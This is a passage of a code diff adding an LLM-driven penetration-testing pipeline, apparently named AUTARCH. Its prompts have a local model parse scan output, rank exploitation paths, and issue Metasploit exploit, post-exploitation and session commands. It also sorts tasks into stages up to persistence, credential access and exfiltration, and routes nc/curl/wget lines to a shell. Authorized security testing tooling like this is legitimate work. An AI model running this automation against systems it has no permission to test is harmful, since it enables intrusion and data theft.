found = shutil.which(name)
|
||||||
|
if found:
|
||||||
|
return found
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def tool_available(name: str) -> bool:
|
||||||
|
"""Check if a tool is available anywhere."""
|
||||||
|
return find_tool(name) is not None
|
||||||
703
core/pentest_pipeline.py
Normal file
703
core/pentest_pipeline.py
Normal file
@ -0,0 +1,703 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Pentest Pipeline
|
||||||
|
Three-module architecture (Parsing -> Reasoning -> Generation)
|
||||||
|
based on PentestGPT's USENIX paper methodology.
|
||||||
|
Uses AUTARCH's local LLM via llama-cpp-python.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
from typing import Optional, List, Dict, Any, Tuple
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from .pentest_tree import PentestTree, PTTNode, PTTNodeType, NodeStatus
|
||||||
|
from .config import get_config
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Source type detection patterns ──────────────────────────────────
|
||||||
|
|
||||||
|
SOURCE_PATTERNS = {
|
||||||
|
'nmap': re.compile(r'Nmap scan report|PORT\s+STATE\s+SERVICE|nmap', re.IGNORECASE),
|
||||||
|
'msf_scan': re.compile(r'auxiliary/scanner|msf\d?\s*>.*auxiliary|^\[\*\]\s.*scanning', re.IGNORECASE | re.MULTILINE),
|
||||||
|
'msf_exploit': re.compile(r'exploit/|meterpreter|session\s+\d+\s+opened|^\[\*\]\s.*exploit', re.IGNORECASE | re.MULTILINE),
|
||||||
|
'msf_post': re.compile(r'post/|meterpreter\s*>', re.IGNORECASE),
|
||||||
|
'web': re.compile(r'HTTP/\d|<!DOCTYPE|<html|Content-Type:', re.IGNORECASE),
|
||||||
|
'shell': re.compile(r'^\$\s|^root@|^#\s|bash|zsh', re.IGNORECASE | re.MULTILINE),
|
||||||
|
'gobuster': re.compile(r'Gobuster|gobuster|Dir found|/\w+\s+\(Status:\s*\d+\)', re.IGNORECASE),
|
||||||
|
'nikto': re.compile(r'Nikto|nikto|^\+\s', re.IGNORECASE | re.MULTILINE),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def detect_source_type(output: str) -> str:
|
||||||
|
"""Auto-detect tool output type from content patterns."""
|
||||||
|
for source, pattern in SOURCE_PATTERNS.items():
|
||||||
|
if pattern.search(output[:2000]):
|
||||||
|
return source
|
||||||
|
return 'manual'
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Prompt Templates ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
PARSING_SYSTEM_PROMPT = """You are a penetration testing output parser. Extract key findings from raw tool output.
|
||||||
|
|
||||||
|
Given raw output from a security tool, extract and summarize:
|
||||||
|
1. Open ports and services (with versions when available)
|
||||||
|
2. Vulnerabilities or misconfigurations found
|
||||||
|
3. Credentials or sensitive information discovered
|
||||||
|
4. Operating system and software versions
|
||||||
|
5. Any error messages or access denials
|
||||||
|
|
||||||
|
Rules:
|
||||||
|
- Be concise. Use bullet points.
|
||||||
|
- Include specific version numbers, port numbers, and IP addresses.
|
||||||
|
- Prefix exploitable findings with [VULN]
|
||||||
|
- Prefix credentials with [CRED]
|
||||||
|
- Note failed attempts and why they failed.
|
||||||
|
- Do not speculate beyond what the output shows.
|
||||||
|
|
||||||
|
Format your response as:
|
||||||
|
SUMMARY: one line description
|
||||||
|
FINDINGS:
|
||||||
|
- finding 1
|
||||||
|
- finding 2
|
||||||
|
- [VULN] vulnerability finding
|
||||||
|
STATUS: success/partial/failed"""
|
||||||
|
|
||||||
|
REASONING_SYSTEM_PROMPT = """You are a penetration testing strategist. You maintain a task tree and decide next steps.
|
||||||
|
|
||||||
|
You will receive:
|
||||||
|
1. The current task tree showing completed and todo tasks
|
||||||
|
2. New findings from the latest tool execution
|
||||||
|
|
||||||
|
Your job:
|
||||||
|
1. UPDATE the tree based on new findings
|
||||||
|
2. DECIDE the single most important next task
|
||||||
|
|
||||||
|
Rules:
|
||||||
|
- Prioritize exploitation paths with highest success likelihood.
|
||||||
|
- If a service version is known, suggest checking for known CVEs.
|
||||||
|
- After recon, focus on the most promising attack surface.
|
||||||
|
- Do not add redundant tasks.
|
||||||
|
- Mark tasks not-applicable if findings make them irrelevant.
|
||||||
|
|
||||||
|
Respond in this exact format:
|
||||||
|
TREE_UPDATES:
|
||||||
|
- ADD: parent_id | node_type | priority | task description
|
||||||
|
- COMPLETE: node_id | findings summary
|
||||||
|
- NOT_APPLICABLE: node_id | reason
|
||||||
|
|
||||||
|
NEXT_TASK: description of the single most important next action
|
||||||
|
REASONING: 1-2 sentences explaining why this is the highest priority"""
|
||||||
|
|
||||||
|
GENERATION_SYSTEM_PROMPT = """You are a penetration testing command generator. Convert task descriptions into specific executable commands.
|
||||||
|
|
||||||
|
Available tools:
|
||||||
|
- shell: Run shell command. Args: {"command": "...", "timeout": 30}
|
||||||
|
- msf_search: Search MSF modules. Args: {"query": "search term"}
|
||||||
|
- msf_module_info: Module details. Args: {"module_type": "auxiliary|exploit|post", "module_name": "path"}
|
||||||
|
- msf_execute: Run MSF module. Args: {"module_type": "...", "module_name": "...", "options": "{\\"RHOSTS\\": \\"...\\"}" }
|
||||||
|
- msf_sessions: List sessions. Args: {}
|
||||||
|
- msf_session_command: Command in session. Args: {"session_id": "...", "command": "..."}
|
||||||
|
- msf_console: MSF console command. Args: {"command": "..."}
|
||||||
|
|
||||||
|
Rules:
|
||||||
|
- Provide the EXACT tool name and JSON arguments.
|
||||||
|
- Describe what to look for in the output.
|
||||||
|
- If multiple steps needed, number them.
|
||||||
|
- Always include RHOSTS/target in module options.
|
||||||
|
- Prefer auxiliary scanners before exploits.
|
||||||
|
|
||||||
|
Format:
|
||||||
|
COMMANDS:
|
||||||
|
1. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for
|
||||||
|
2. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for
|
||||||
|
FALLBACK: alternative approach if primary fails"""
|
||||||
|
|
||||||
|
INITIAL_PLAN_PROMPT = """You are a penetration testing strategist planning an engagement.
|
||||||
|
|
||||||
|
Target: {target}
|
||||||
|
|
||||||
|
Create an initial reconnaissance plan. List the first 3-5 specific tasks to perform, ordered by priority.
|
||||||
|
|
||||||
|
Format:
|
||||||
|
TASKS:
|
||||||
|
1. node_type | priority | task description
|
||||||
|
2. node_type | priority | task description
|
||||||
|
3. node_type | priority | task description
|
||||||
|
|
||||||
|
FIRST_ACTION: description of the very first thing to do
|
||||||
|
REASONING: why start here"""
|
||||||
|
|
||||||
|
DISCUSS_SYSTEM_PROMPT = """You are a penetration testing expert assistant. Answer the user's question about their current engagement.
|
||||||
|
|
||||||
|
Current target: {target}
|
||||||
|
|
||||||
|
Current status:
|
||||||
|
{tree_summary}
|
||||||
|
|
||||||
|
Answer concisely and provide actionable advice."""
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Pipeline Modules ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
class ParsingModule:
|
||||||
|
"""Normalizes raw tool output into structured summaries."""
|
||||||
|
|
||||||
|
def __init__(self, llm):
|
||||||
|
self.llm = llm
|
||||||
|
self.config = get_config()
|
||||||
|
|
||||||
|
def parse(self, raw_output: str, source_type: str = "auto",
|
||||||
|
context: str = "") -> dict:
|
||||||
|
"""Parse raw tool output into normalized summary.
|
||||||
|
|
||||||
|
Returns dict with 'summary', 'findings', 'status', 'raw_source'.
|
||||||
|
"""
|
||||||
|
if source_type == "auto":
|
||||||
|
source_type = detect_source_type(raw_output)
|
||||||
|
|
||||||
|
chunk_size = 2000
|
||||||
|
try:
|
||||||
|
chunk_size = self.config.get_int('pentest', 'output_chunk_size', 2000)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
chunks = self._chunk_output(raw_output, chunk_size)
|
||||||
|
|
||||||
|
all_findings = []
|
||||||
|
all_summaries = []
|
||||||
|
status = "unknown"
|
||||||
|
|
||||||
|
for i, chunk in enumerate(chunks):
|
||||||
|
prefix = f"[{source_type} output"
|
||||||
|
if len(chunks) > 1:
|
||||||
|
prefix += f" part {i+1}/{len(chunks)}"
|
||||||
|
prefix += "]"
|
||||||
|
|
||||||
|
message = f"{prefix}\n{chunk}"
|
||||||
|
if context:
|
||||||
|
message = f"Context: {context}\n\n{message}"
|
||||||
|
|
||||||
|
self.llm.clear_history()
|
||||||
|
try:
|
||||||
|
response = self.llm.chat(
|
||||||
|
message,
|
||||||
|
system_prompt=PARSING_SYSTEM_PROMPT,
|
||||||
|
temperature=0.2,
|
||||||
|
max_tokens=512,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
'summary': f"Parse error: {e}",
|
||||||
|
'findings': [],
|
||||||
|
'status': 'failed',
|
||||||
|
'raw_source': source_type,
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, findings, chunk_status = self._parse_response(response)
|
||||||
|
all_summaries.append(summary)
|
||||||
|
all_findings.extend(findings)
|
||||||
|
if chunk_status != "unknown":
|
||||||
|
status = chunk_status
|
||||||
|
|
||||||
|
return {
|
||||||
|
'summary': " | ".join(all_summaries) if all_summaries else "No summary",
|
||||||
|
'findings': all_findings,
|
||||||
|
'status': status,
|
||||||
|
'raw_source': source_type,
|
||||||
|
}
|
||||||
|
|
||||||
|
def _chunk_output(self, output: str, max_chunk: int = 2000) -> List[str]:
|
||||||
|
"""Split large output into chunks."""
|
||||||
|
if len(output) <= max_chunk:
|
||||||
|
return [output]
|
||||||
|
chunks = []
|
||||||
|
lines = output.split('\n')
|
||||||
|
current = []
|
||||||
|
current_len = 0
|
||||||
|
for line in lines:
|
||||||
|
if current_len + len(line) + 1 > max_chunk and current:
|
||||||
|
chunks.append('\n'.join(current))
|
||||||
|
current = []
|
||||||
|
current_len = 0
|
||||||
|
current.append(line)
|
||||||
|
current_len += len(line) + 1
|
||||||
|
if current:
|
||||||
|
chunks.append('\n'.join(current))
|
||||||
|
return chunks
|
||||||
|
|
||||||
|
def _parse_response(self, response: str) -> Tuple[str, List[str], str]:
|
||||||
|
"""Extract summary, findings, and status from LLM response."""
|
||||||
|
summary = ""
|
||||||
|
findings = []
|
||||||
|
status = "unknown"
|
||||||
|
|
||||||
|
# Extract SUMMARY
|
||||||
|
m = re.search(r'SUMMARY:\s*(.+)', response, re.IGNORECASE)
|
||||||
|
if m:
|
||||||
|
summary = m.group(1).strip()
|
||||||
|
|
||||||
|
# Extract FINDINGS
|
||||||
|
findings_section = re.search(
|
||||||
|
r'FINDINGS:\s*\n((?:[-*]\s*.+\n?)+)',
|
||||||
|
response, re.IGNORECASE
|
||||||
|
)
|
||||||
|
if findings_section:
|
||||||
|
for line in findings_section.group(1).strip().split('\n'):
|
||||||
|
line = re.sub(r'^[-*]\s*', '', line).strip()
|
||||||
|
if line:
|
||||||
|
findings.append(line)
|
||||||
|
|
||||||
|
# Extract STATUS
|
||||||
|
m = re.search(r'STATUS:\s*(\w+)', response, re.IGNORECASE)
|
||||||
|
if m:
|
||||||
|
status = m.group(1).strip().lower()
|
||||||
|
|
||||||
|
# Fallback: if structured parse failed, use full response
|
||||||
|
if not summary and not findings:
|
||||||
|
summary = response[:200].strip()
|
||||||
|
for line in response.split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith(('-', '*', '[VULN]', '[CRED]')):
|
||||||
|
findings.append(re.sub(r'^[-*]\s*', '', line))
|
||||||
|
|
||||||
|
return summary, findings, status
|
||||||
|
|
||||||
|
|
||||||
|
class ReasoningModule:
|
||||||
|
"""Maintains PTT and decides next actions."""
|
||||||
|
|
||||||
|
def __init__(self, llm, tree: PentestTree):
|
||||||
|
self.llm = llm
|
||||||
|
self.tree = tree
|
||||||
|
|
||||||
|
def reason(self, parsed_output: dict, context: str = "") -> dict:
|
||||||
|
"""Three-step reasoning: update tree, validate, extract next todo.
|
||||||
|
|
||||||
|
Returns dict with 'tree_updates', 'next_task', 'reasoning'.
|
||||||
|
"""
|
||||||
|
tree_summary = self.tree.render_summary()
|
||||||
|
|
||||||
|
findings_text = parsed_output.get('summary', '')
|
||||||
|
if parsed_output.get('findings'):
|
||||||
|
findings_text += "\nFindings:\n"
|
||||||
|
for f in parsed_output['findings']:
|
||||||
|
findings_text += f"- {f}\n"
|
||||||
|
|
||||||
|
message = (
|
||||||
|
f"Current pentest tree:\n{tree_summary}\n\n"
|
||||||
|
f"New information ({parsed_output.get('raw_source', 'unknown')}):\n"
|
||||||
|
f"{findings_text}"
|
||||||
|
)
|
||||||
|
if context:
|
||||||
|
message += f"\n\nAdditional context: {context}"
|
||||||
|
|
||||||
|
self.llm.clear_history()
|
||||||
|
try:
|
||||||
|
response = self.llm.chat(
|
||||||
|
message,
|
||||||
|
system_prompt=REASONING_SYSTEM_PROMPT,
|
||||||
|
temperature=0.3,
|
||||||
|
max_tokens=1024,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
'tree_updates': [],
|
||||||
|
'next_task': f"Error during reasoning: {e}",
|
||||||
|
'reasoning': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
updates = self._parse_tree_updates(response)
|
||||||
|
self._apply_updates(updates)
|
||||||
|
|
||||||
|
next_task = ""
|
||||||
|
m = re.search(r'NEXT_TASK:\s*(.+)', response, re.IGNORECASE)
|
||||||
|
if m:
|
||||||
|
next_task = m.group(1).strip()
|
||||||
|
|
||||||
|
reasoning = ""
|
||||||
|
m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE | re.DOTALL)
|
||||||
|
if m:
|
||||||
|
reasoning = m.group(1).strip().split('\n')[0]
|
||||||
|
|
||||||
|
# Fallback: if no NEXT_TASK parsed, get from tree
|
||||||
|
if not next_task:
|
||||||
|
todo = self.tree.get_next_todo()
|
||||||
|
if todo:
|
||||||
|
next_task = todo.label
|
||||||
|
|
||||||
|
return {
|
||||||
|
'tree_updates': updates,
|
||||||
|
'next_task': next_task,
|
||||||
|
'reasoning': reasoning,
|
||||||
|
}
|
||||||
|
|
||||||
|
def _parse_tree_updates(self, response: str) -> List[dict]:
|
||||||
|
"""Extract tree operations from LLM response."""
|
||||||
|
updates = []
|
||||||
|
|
||||||
|
# Parse ADD operations
|
||||||
|
for m in re.finditer(
|
||||||
|
r'ADD:\s*(\S+)\s*\|\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)',
|
||||||
|
response, re.IGNORECASE
|
||||||
|
):
|
||||||
|
parent = m.group(1).strip()
|
||||||
|
if parent.lower() in ('root', 'none', '-'):
|
||||||
|
parent = None
|
||||||
|
ntype_str = m.group(2).strip().lower()
|
||||||
|
ntype = self._map_node_type(ntype_str)
|
||||||
|
updates.append({
|
||||||
|
'operation': 'add',
|
||||||
|
'parent_id': parent,
|
||||||
|
'node_type': ntype,
|
||||||
|
'priority': int(m.group(3)),
|
||||||
|
'label': m.group(4).strip(),
|
||||||
|
})
|
||||||
|
|
||||||
|
# Parse COMPLETE operations
|
||||||
|
for m in re.finditer(
|
||||||
|
r'COMPLETE:\s*(\S+)\s*\|\s*(.+)',
|
||||||
|
response, re.IGNORECASE
|
||||||
|
):
|
||||||
|
updates.append({
|
||||||
|
'operation': 'complete',
|
||||||
|
'node_id': m.group(1).strip(),
|
||||||
|
'findings': m.group(2).strip(),
|
||||||
|
})
|
||||||
|
|
||||||
|
# Parse NOT_APPLICABLE operations
|
||||||
|
for m in re.finditer(
|
||||||
|
r'NOT_APPLICABLE:\s*(\S+)\s*\|\s*(.+)',
|
||||||
|
response, re.IGNORECASE
|
||||||
|
):
|
||||||
|
updates.append({
|
||||||
|
'operation': 'not_applicable',
|
||||||
|
'node_id': m.group(1).strip(),
|
||||||
|
'reason': m.group(2).strip(),
|
||||||
|
})
|
||||||
|
|
||||||
|
return updates
|
||||||
|
|
||||||
|
def _map_node_type(self, type_str: str) -> PTTNodeType:
|
||||||
|
"""Map a string to PTTNodeType."""
|
||||||
|
mapping = {
|
||||||
|
'recon': PTTNodeType.RECONNAISSANCE,
|
||||||
|
'reconnaissance': PTTNodeType.RECONNAISSANCE,
|
||||||
|
'initial_access': PTTNodeType.INITIAL_ACCESS,
|
||||||
|
'initial': PTTNodeType.INITIAL_ACCESS,
|
||||||
|
'access': PTTNodeType.INITIAL_ACCESS,
|
||||||
|
'privesc': PTTNodeType.PRIVILEGE_ESCALATION,
|
||||||
|
'privilege_escalation': PTTNodeType.PRIVILEGE_ESCALATION,
|
||||||
|
'escalation': PTTNodeType.PRIVILEGE_ESCALATION,
|
||||||
|
'lateral': PTTNodeType.LATERAL_MOVEMENT,
|
||||||
|
'lateral_movement': PTTNodeType.LATERAL_MOVEMENT,
|
||||||
|
'persistence': PTTNodeType.PERSISTENCE,
|
||||||
|
'credential': PTTNodeType.CREDENTIAL_ACCESS,
|
||||||
|
'credential_access': PTTNodeType.CREDENTIAL_ACCESS,
|
||||||
|
'creds': PTTNodeType.CREDENTIAL_ACCESS,
|
||||||
|
'exfiltration': PTTNodeType.EXFILTRATION,
|
||||||
|
'exfil': PTTNodeType.EXFILTRATION,
|
||||||
|
}
|
||||||
|
return mapping.get(type_str.lower(), PTTNodeType.CUSTOM)
|
||||||
|
|
||||||
|
def _apply_updates(self, updates: List[dict]):
|
||||||
|
"""Apply parsed operations to the tree."""
|
||||||
|
for update in updates:
|
||||||
|
op = update['operation']
|
||||||
|
|
||||||
|
if op == 'add':
|
||||||
|
# Resolve parent - could be an ID or a label
|
||||||
|
parent_id = update.get('parent_id')
|
||||||
|
if parent_id and parent_id not in self.tree.nodes:
|
||||||
|
# Try to find by label match
|
||||||
|
node = self.tree.find_node_by_label(parent_id)
|
||||||
|
parent_id = node.id if node else None
|
||||||
|
|
||||||
|
self.tree.add_node(
|
||||||
|
label=update['label'],
|
||||||
|
node_type=update['node_type'],
|
||||||
|
parent_id=parent_id,
|
||||||
|
priority=update.get('priority', 3),
|
||||||
|
)
|
||||||
|
|
||||||
|
elif op == 'complete':
|
||||||
|
node_id = update['node_id']
|
||||||
|
if node_id not in self.tree.nodes:
|
||||||
|
node = self.tree.find_node_by_label(node_id)
|
||||||
|
if node:
|
||||||
|
node_id = node.id
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
self.tree.update_node(
|
||||||
|
node_id,
|
||||||
|
status=NodeStatus.COMPLETED,
|
||||||
|
findings=[update.get('findings', '')],
|
||||||
|
)
|
||||||
|
|
||||||
|
elif op == 'not_applicable':
|
||||||
|
node_id = update['node_id']
|
||||||
|
if node_id not in self.tree.nodes:
|
||||||
|
node = self.tree.find_node_by_label(node_id)
|
||||||
|
if node:
|
||||||
|
node_id = node.id
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
self.tree.update_node(
|
||||||
|
node_id,
|
||||||
|
status=NodeStatus.NOT_APPLICABLE,
|
||||||
|
details=update.get('reason', ''),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class GenerationModule:
|
||||||
|
"""Converts abstract tasks into concrete commands."""
|
||||||
|
|
||||||
|
def __init__(self, llm):
|
||||||
|
self.llm = llm
|
||||||
|
|
||||||
|
def generate(self, task_description: str, target: str,
|
||||||
|
context: str = "") -> dict:
|
||||||
|
"""Generate executable commands for a task.
|
||||||
|
|
||||||
|
Returns dict with 'commands' (list) and 'fallback' (str).
|
||||||
|
"""
|
||||||
|
message = f"Target: {target}\nTask: {task_description}"
|
||||||
|
if context:
|
||||||
|
message += f"\n\nContext: {context}"
|
||||||
|
|
||||||
|
self.llm.clear_history()
|
||||||
|
try:
|
||||||
|
response = self.llm.chat(
|
||||||
|
message,
|
||||||
|
system_prompt=GENERATION_SYSTEM_PROMPT,
|
||||||
|
temperature=0.2,
|
||||||
|
max_tokens=512,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
'commands': [],
|
||||||
|
'fallback': f"Generation error: {e}",
|
||||||
|
'raw_response': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
commands = self._parse_commands(response)
|
||||||
|
fallback = ""
|
||||||
|
m = re.search(r'FALLBACK:\s*(.+)', response, re.IGNORECASE | re.DOTALL)
|
||||||
|
if m:
|
||||||
|
fallback = m.group(1).strip().split('\n')[0]
|
||||||
|
|
||||||
|
return {
|
||||||
|
'commands': commands,
|
||||||
|
'fallback': fallback,
|
||||||
|
'raw_response': response,
|
||||||
|
}
|
||||||
|
|
||||||
|
def _parse_commands(self, response: str) -> List[dict]:
|
||||||
|
"""Extract commands from LLM response."""
|
||||||
|
commands = []
|
||||||
|
|
||||||
|
# Parse structured TOOL: ... | ARGS: ... | EXPECT: ... format
|
||||||
|
for m in re.finditer(
|
||||||
|
r'TOOL:\s*(\w+)\s*\|\s*ARGS:\s*(\{[^}]+\})\s*\|\s*EXPECT:\s*(.+)',
|
||||||
|
response, re.IGNORECASE
|
||||||
|
):
|
||||||
|
tool_name = m.group(1).strip()
|
||||||
|
args_str = m.group(2).strip()
|
||||||
|
expect = m.group(3).strip()
|
||||||
|
|
||||||
|
# Try to parse JSON args
|
||||||
|
import json
|
||||||
|
try:
|
||||||
|
args = json.loads(args_str)
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
# Try fixing common LLM JSON issues
|
||||||
|
fixed = args_str.replace("'", '"')
|
||||||
|
try:
|
||||||
|
args = json.loads(fixed)
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
args = {'raw': args_str}
|
||||||
|
|
||||||
|
commands.append({
|
||||||
|
'tool': tool_name,
|
||||||
|
'args': args,
|
||||||
|
'expect': expect,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Fallback: try to find shell commands or MSF commands
|
||||||
|
if not commands:
|
||||||
|
for line in response.split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
# Detect nmap/shell commands
|
||||||
|
if re.match(r'^(nmap|nikto|gobuster|curl|wget|nc|netcat)\s', line):
|
||||||
|
commands.append({
|
||||||
|
'tool': 'shell',
|
||||||
|
'args': {'command': line},
|
||||||
|
'expect': 'Check output for results',
|
||||||
|
})
|
||||||
|
# Detect MSF use/run commands
|
||||||
|
elif re.match(r'^(use |run |set )', line, re.IGNORECASE):
|
||||||
|
commands.append({
|
||||||
|
'tool': 'msf_console',
|
||||||
|
'args': {'command': line},
|
||||||
|
'expect': 'Check output for results',
|
||||||
|
})
|
||||||
|
|
||||||
|
return commands
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Pipeline Orchestrator ────────────────────────────────────────────
|
||||||
|
|
||||||
|
class PentestPipeline:
|
||||||
|
"""Orchestrates the three-module pipeline."""
|
||||||
|
|
||||||
|
def __init__(self, llm, target: str, tree: PentestTree = None):
|
||||||
|
self.llm = llm
|
||||||
|
self.target = target
|
||||||
|
self.tree = tree or PentestTree(target)
|
||||||
|
self.parser = ParsingModule(llm)
|
||||||
|
self.reasoner = ReasoningModule(llm, self.tree)
|
||||||
|
self.generator = GenerationModule(llm)
|
||||||
|
self.history: List[dict] = []
|
||||||
|
|
||||||
|
def process_output(self, raw_output: str,
|
||||||
|
source_type: str = "auto") -> dict:
|
||||||
|
"""Full pipeline: parse -> reason -> generate.
|
||||||
|
|
||||||
|
Returns dict with 'parsed', 'reasoning', 'commands', 'next_task'.
|
||||||
|
"""
|
||||||
|
# Step 1: Parse
|
||||||
|
parsed = self.parser.parse(raw_output, source_type)
|
||||||
|
|
||||||
|
# Step 2: Reason
|
||||||
|
reasoning = self.reasoner.reason(parsed)
|
||||||
|
|
||||||
|
# Step 3: Generate commands for the next task
|
||||||
|
generated = {'commands': [], 'fallback': ''}
|
||||||
|
if reasoning.get('next_task'):
|
||||||
|
# Build context from recent findings
|
||||||
|
context = parsed.get('summary', '')
|
||||||
|
generated = self.generator.generate(
|
||||||
|
reasoning['next_task'],
|
||||||
|
self.target,
|
||||||
|
context=context,
|
||||||
|
)
|
||||||
|
|
||||||
|
result = {
|
||||||
|
'parsed': parsed,
|
||||||
|
'reasoning': reasoning,
|
||||||
|
'commands': generated.get('commands', []),
|
||||||
|
'fallback': generated.get('fallback', ''),
|
||||||
|
'next_task': reasoning.get('next_task', ''),
|
||||||
|
}
|
||||||
|
|
||||||
|
self.history.append({
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'result': {
|
||||||
|
'parsed_summary': parsed.get('summary', ''),
|
||||||
|
'findings_count': len(parsed.get('findings', [])),
|
||||||
|
'next_task': reasoning.get('next_task', ''),
|
||||||
|
'commands_count': len(generated.get('commands', [])),
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def get_initial_plan(self) -> dict:
|
||||||
|
"""Generate initial pentest plan for the target."""
|
||||||
|
prompt = INITIAL_PLAN_PROMPT.format(target=self.target)
|
||||||
|
|
||||||
|
self.llm.clear_history()
|
||||||
|
try:
|
||||||
|
response = self.llm.chat(
|
||||||
|
prompt,
|
||||||
|
system_prompt=REASONING_SYSTEM_PROMPT,
|
||||||
|
temperature=0.3,
|
||||||
|
max_tokens=1024,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
'tasks': [],
|
||||||
|
'first_action': f"Error: {e}",
|
||||||
|
'reasoning': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
# Parse TASKS
|
||||||
|
tasks = []
|
||||||
|
for m in re.finditer(
|
||||||
|
r'(\d+)\.\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)',
|
||||||
|
response
|
||||||
|
):
|
||||||
|
ntype_str = m.group(2).strip()
|
||||||
|
ntype = self.reasoner._map_node_type(ntype_str)
|
||||||
|
tasks.append({
|
||||||
|
'node_type': ntype,
|
||||||
|
'priority': int(m.group(3)),
|
||||||
|
'label': m.group(4).strip(),
|
||||||
|
})
|
||||||
|
|
||||||
|
# Add tasks to tree under appropriate branches
|
||||||
|
for task in tasks:
|
||||||
|
# Find matching root branch
|
||||||
|
parent_id = None
|
||||||
|
for root_id in self.tree.root_nodes:
|
||||||
|
root = self.tree.get_node(root_id)
|
||||||
|
if root and root.node_type == task['node_type']:
|
||||||
|
parent_id = root_id
|
||||||
|
break
|
||||||
|
self.tree.add_node(
|
||||||
|
label=task['label'],
|
||||||
|
node_type=task['node_type'],
|
||||||
|
parent_id=parent_id,
|
||||||
|
priority=task['priority'],
|
||||||
|
)
|
||||||
|
|
||||||
|
# Parse first action
|
||||||
|
first_action = ""
|
||||||
|
m = re.search(r'FIRST_ACTION:\s*(.+)', response, re.IGNORECASE)
|
||||||
|
if m:
|
||||||
|
first_action = m.group(1).strip()
|
||||||
|
|
||||||
|
reasoning = ""
|
||||||
|
m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE)
|
||||||
|
if m:
|
||||||
|
reasoning = m.group(1).strip()
|
||||||
|
|
||||||
|
# Generate commands for first action
|
||||||
|
commands = []
|
||||||
|
if first_action:
|
||||||
|
gen = self.generator.generate(first_action, self.target)
|
||||||
|
commands = gen.get('commands', [])
|
||||||
|
|
||||||
|
return {
|
||||||
|
'tasks': tasks,
|
||||||
|
'first_action': first_action,
|
||||||
|
'reasoning': reasoning,
|
||||||
|
'commands': commands,
|
||||||
|
}
|
||||||
|
|
||||||
|
def inject_information(self, info: str, source: str = "manual") -> dict:
|
||||||
|
"""Inject external information and get updated recommendations."""
|
||||||
|
parsed = {
|
||||||
|
'summary': info[:200],
|
||||||
|
'findings': [info],
|
||||||
|
'status': 'success',
|
||||||
|
'raw_source': source,
|
||||||
|
}
|
||||||
|
return self.process_output(info, source_type=source)
|
||||||
|
|
||||||
|
def discuss(self, question: str) -> str:
|
||||||
|
"""Ad-hoc question that doesn't affect the tree."""
|
||||||
|
tree_summary = self.tree.render_summary()
|
||||||
|
prompt = DISCUSS_SYSTEM_PROMPT.format(
|
||||||
|
target=self.target,
|
||||||
|
tree_summary=tree_summary,
|
||||||
|
)
|
||||||
|
self.llm.clear_history()
|
||||||
|
try:
|
||||||
|
return self.llm.chat(
|
||||||
|
question,
|
||||||
|
system_prompt=prompt,
|
||||||
|
temperature=0.5,
|
||||||
|
max_tokens=1024,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
return f"Error: {e}"
|
||||||
279
core/pentest_session.py
Normal file
279
core/pentest_session.py
Normal file
@ -0,0 +1,279 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Pentest Session Manager
|
||||||
|
Save and resume penetration testing sessions with full state persistence.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
from enum import Enum
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from datetime import datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, List, Dict, Any
|
||||||
|
|
||||||
|
|
||||||
|
from .pentest_tree import PentestTree, NodeStatus
|
||||||
|
|
||||||
|
|
||||||
|
class PentestSessionState(Enum):
|
||||||
|
IDLE = "idle"
|
||||||
|
RUNNING = "running"
|
||||||
|
PAUSED = "paused"
|
||||||
|
COMPLETED = "completed"
|
||||||
|
ERROR = "error"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SessionEvent:
|
||||||
|
"""A single event in the session timeline."""
|
||||||
|
timestamp: str
|
||||||
|
event_type: str
|
||||||
|
data: dict
|
||||||
|
|
||||||
|
def to_dict(self) -> dict:
|
||||||
|
return {
|
||||||
|
'timestamp': self.timestamp,
|
||||||
|
'event_type': self.event_type,
|
||||||
|
'data': self.data,
|
||||||
|
}
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_dict(cls, data: dict) -> 'SessionEvent':
|
||||||
|
return cls(
|
||||||
|
timestamp=data['timestamp'],
|
||||||
|
event_type=data['event_type'],
|
||||||
|
data=data.get('data', {}),
|
